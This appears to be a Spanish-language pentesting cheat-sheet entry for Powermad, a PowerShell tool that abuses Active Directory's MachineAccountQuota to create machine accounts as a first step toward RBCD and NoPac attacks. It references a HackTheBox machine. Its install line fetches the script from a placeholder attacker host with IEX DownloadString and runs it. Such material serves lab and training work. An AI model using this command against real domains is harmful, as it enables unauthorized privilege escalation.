Powermad
Crea cuentas de máquina (paso previo del RBCD).
Script de PowerShell que crea cuentas de máquina en el dominio abusando de MachineAccountQuota (por defecto cualquier usuario puede crear 10). Es el paso previo de RBCD y de NoPac.
Familia Abuso de AD (ACL, ADCS, coacción)
Flags New-MachineAccount
Conceptos RBCD (Resource-Based Constrained Delegation)
Cheatsheet Abuso de ACL / DACL
Instalación
IEX(New-Object Net.WebClient).DownloadString('http://<lhost>/Powermad.ps1')Comandos útiles
Aparece en
Algunas máquinas donde se documenta su uso; no es una lista exhaustiva.
- SupportHackTheBox